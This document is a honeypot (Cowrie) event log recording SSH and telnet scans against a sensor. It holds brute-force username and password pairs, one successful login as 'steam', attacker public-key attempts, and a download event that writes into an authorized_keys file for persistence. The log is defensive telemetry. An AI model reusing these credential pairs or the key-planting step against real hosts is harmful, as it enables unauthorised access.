{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:10.880468Z","src_ip":"209.99.190.200","session":"24ed7d00a0d0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:10.883821Z","src_ip":"209.99.190.200","session":"24ed7d00a0d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":33752,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5769e0ae858","protocol":"ssh","message":"New connection: 209.99.190.200:33752 (10.17.0.5:22) [session: b5769e0ae858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:10.976249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:10.980114Z","src_ip":"209.99.190.200","session":"b5769e0ae858","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:11.077225Z","src_ip":"209.99.190.200","session":"b5769e0ae858","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:11.502077Z","src_ip":"209.99.190.200","session":"b5769e0ae858","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:12.601971Z","src_ip":"209.99.190.200","session":"b5769e0ae858","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":33762,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf2ee4a8454e","protocol":"ssh","message":"New connection: 209.99.190.200:33762 (10.17.0.5:22) [session: bf2ee4a8454e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:12.696459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:12.700021Z","src_ip":"209.99.190.200","session":"bf2ee4a8454e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:12.799547Z","src_ip":"209.99.190.200","session":"bf2ee4a8454e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:13.221987Z","src_ip":"209.99.190.200","session":"bf2ee4a8454e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:13.321864Z","src_ip":"209.99.190.200","session":"24ed7d00a0d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:13.325691Z","src_ip":"209.99.190.200","session":"bf2ee4a8454e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.808995723724365,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:34.850633Z","src_ip":"170.64.224.25","session":"07d593e85b98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":43290,"dst_ip":"10.17.0.5","dst_port":22,"session":"426b1085738f","protocol":"ssh","message":"New connection: 103.98.149.87:43290 (10.17.0.5:22) [session: 426b1085738f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:43.839218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:43.846974Z","src_ip":"103.98.149.87","session":"426b1085738f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:44.064998Z","src_ip":"103.98.149.87","session":"426b1085738f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:44.969327Z","src_ip":"103.98.149.87","session":"426b1085738f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:46.195791Z","src_ip":"103.98.149.87","session":"426b1085738f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":54246,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa59b7fb43e2","protocol":"telnet","message":"New connection: 137.184.5.188:54246 (159.203.135.109:23) [session: aa59b7fb43e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:51.104083Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":47878,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b35931f6177","protocol":"telnet","message":"New connection: 107.6.151.170:47878 (159.203.135.109:23) [session: 4b35931f6177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:03.111851Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":60896,"dst_ip":"10.17.0.5","dst_port":22,"session":"b57a82a1d1c7","protocol":"ssh","message":"New connection: 109.91.4.177:60896 (10.17.0.5:22) [session: b57a82a1d1c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:03.301991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:03.306290Z","src_ip":"109.91.4.177","session":"b57a82a1d1c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:03.405396Z","src_ip":"109.91.4.177","session":"b57a82a1d1c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe@123123","message":"login attempt [root/qwe@123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:04.194501Z","src_ip":"109.91.4.177","session":"b57a82a1d1c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:05.301336Z","src_ip":"109.91.4.177","session":"b57a82a1d1c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":53432,"dst_ip":"10.17.0.5","dst_port":22,"session":"078705941cc9","protocol":"ssh","message":"New connection: 23.88.42.180:53432 (10.17.0.5:22) [session: 078705941cc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:07.794501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:07.798761Z","src_ip":"23.88.42.180","session":"078705941cc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:07.898231Z","src_ip":"23.88.42.180","session":"078705941cc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome123#","message":"login attempt [root/welcome123#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:08.186819Z","src_ip":"23.88.42.180","session":"078705941cc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:09.284972Z","src_ip":"23.88.42.180","session":"078705941cc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.121.69.138","src_port":27136,"dst_ip":"10.17.0.5","dst_port":22,"session":"190211f8a5c8","protocol":"ssh","message":"New connection: 87.121.69.138:27136 (10.17.0.5:22) [session: 190211f8a5c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:15.625387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:15.629352Z","src_ip":"87.121.69.138","session":"190211f8a5c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:15.710858Z","src_ip":"87.121.69.138","session":"190211f8a5c8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:c0:eb:75:36:62:b5:80:eb:52:d3:d5:9c:bd:03:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA83GD9OA6BedvdIQQs1uTrYBwzM3xvDm0WStKlekOBQtNgbRbk8zjJyUj/C3ao77DWOLQNkh1Trruj2oqo6s0Xs3ysH85F51Uz1eDJG1Kkkb5RDRH79P6+3X6O9ohVq6ND+MKiKxXuAZQUi5Y3N7dtKr+wKbPaDT7sbI+Uj7l5FHiZ8+yHcwiDK2Nwu2qxo+wkdjPPPRDRhwG8LoCpD35dsGX5GBSEDWVPWOEDk1YKF9gMGY/LT86Kk4HKv6lmzMvmLYcvwR3nsOp8v75N84M4erX2SIKV8MmxZPqS6pfufKFpRwsO1jwPcQpMi3M+FQdP6rLaMS6ZEp8CA/oV/JxHw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:c0:eb:75:36:62:b5:80:eb:52:d3:d5:9c:bd:03:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:16.091631Z","src_ip":"87.121.69.138","session":"190211f8a5c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:c0:eb:75:36:62:b5:80:eb:52:d3:d5:9c:bd:03:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA83GD9OA6BedvdIQQs1uTrYBwzM3xvDm0WStKlekOBQtNgbRbk8zjJyUj/C3ao77DWOLQNkh1Trruj2oqo6s0Xs3ysH85F51Uz1eDJG1Kkkb5RDRH79P6+3X6O9ohVq6ND+MKiKxXuAZQUi5Y3N7dtKr+wKbPaDT7sbI+Uj7l5FHiZ8+yHcwiDK2Nwu2qxo+wkdjPPPRDRhwG8LoCpD35dsGX5GBSEDWVPWOEDk1YKF9gMGY/LT86Kk4HKv6lmzMvmLYcvwR3nsOp8v75N84M4erX2SIKV8MmxZPqS6pfufKFpRwsO1jwPcQpMi3M+FQdP6rLaMS6ZEp8CA/oV/JxHw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:16.094312Z","src_ip":"87.121.69.138","session":"190211f8a5c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":54272,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a71323c8605","protocol":"ssh","message":"New connection: 38.148.249.2:54272 (10.17.0.5:22) [session: 5a71323c8605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:16.116328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:16.153037Z","src_ip":"38.148.249.2","session":"5a71323c8605","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"97:68:23:68:6b:9d:2d:48:b7:b3:ce:c5:bf:21:77:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvQd0wSrg+69RHBr6f6d48YoH77bOgqB/cDsiCYLnYKwi/Cxvv1EA3TCpNCoMaxS3/0jiRaB+Jr3yHNUdI9awLEZukanfa8ZlmrvA7q7juOqpakQMVa4rQH4bnbnZiUVBmAM2418f2zxKwT+V2+EL/9QtETZaGmvS6t24jUU3FYe4pckXeAtr3NrNnTq1gfD+1wYW4HKKfvrLjhdZzKMDpvNIFFk9wJrNstfQsUHOzpC4Rz8Ppd5uj3s35NIslWUpfJpG6hUTFCSkllvaiMhyGR+dLymooZtn1Tii45b9ZQUhh567/mNuMHUhm8Vxe6a2Fp8jiu6BnHN7zbEBVh00hQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 97:68:23:68:6b:9d:2d:48:b7:b3:ce:c5:bf:21:77:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:16.173515Z","src_ip":"87.121.69.138","session":"190211f8a5c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"97:68:23:68:6b:9d:2d:48:b7:b3:ce:c5:bf:21:77:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvQd0wSrg+69RHBr6f6d48YoH77bOgqB/cDsiCYLnYKwi/Cxvv1EA3TCpNCoMaxS3/0jiRaB+Jr3yHNUdI9awLEZukanfa8ZlmrvA7q7juOqpakQMVa4rQH4bnbnZiUVBmAM2418f2zxKwT+V2+EL/9QtETZaGmvS6t24jUU3FYe4pckXeAtr3NrNnTq1gfD+1wYW4HKKfvrLjhdZzKMDpvNIFFk9wJrNstfQsUHOzpC4Rz8Ppd5uj3s35NIslWUpfJpG6hUTFCSkllvaiMhyGR+dLymooZtn1Tii45b9ZQUhh567/mNuMHUhm8Vxe6a2Fp8jiu6BnHN7zbEBVh00hQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:16.175813Z","src_ip":"87.121.69.138","session":"190211f8a5c8","protocol":"ssh"}
